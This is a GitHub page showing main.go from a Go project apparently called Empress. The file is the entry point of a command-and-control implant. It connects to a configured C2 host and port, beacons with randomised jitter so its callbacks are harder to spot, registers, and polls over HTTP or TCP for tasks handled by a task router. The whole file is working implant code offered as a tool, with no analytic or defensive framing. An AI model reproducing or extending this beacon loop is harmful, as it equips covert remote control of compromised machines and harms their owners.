-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.go
67 lines (61 loc) · 1.55 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//go:build !debug
package main
import (
"fmt"
"github.com/pygrum/Empress/c2"
"github.com/pygrum/Empress/config"
"github.com/pygrum/Empress/tasks"
"github.com/pygrum/Empress/transport"
log "github.com/sirupsen/logrus"
"math/rand"
"time"
)
var (
client *c2.Client
)
func main() {
if err := config.Initialize(); err != nil {
log.Fatalf("failed to initialize config: %v", err)
}
if err := newClient(); err != nil {
log.Fatalf("could not create new client: %v", err)
}
tickSalt := config.C.CallbackSalt
r := rand.New(rand.NewSource(time.Now().Unix()))
ticker := time.NewTicker((config.C.CallbackInterval * 1000 * time.Millisecond) - (tickSalt * time.Millisecond))
for range ticker.C {
// sleep for a random time between 0 and tickSalt milliseconds.
// because the ticker ticks every interval-tickSalt seconds,
time.Sleep(time.Duration(r.Intn(int(tickSalt))) * time.Millisecond)
// first registration needs no data
run(c2.Registration(nil))
}
}
func newClient() error {
var err error
addr := fmt.Sprintf("%s:%s", config.C.C2Host, config.C.C2Port)
httpAddr := "http://" + addr
client, err = c2.NewClient(addr, httpAddr)
if err != nil {
return err
}
router := c2.NewRouter()
tasks.SetTasks(router)
client.SetRouter(router)
return nil
}
func run(registration *transport.Registration) error {
// start by registering
if !config.C.TCP {
if err := client.Register(registration); err != nil {
return err
}
reg, _ := client.Poll()
return run(reg)
} else {
if err := client.PollTCP(); err != nil {
return err
}
}
return nil
}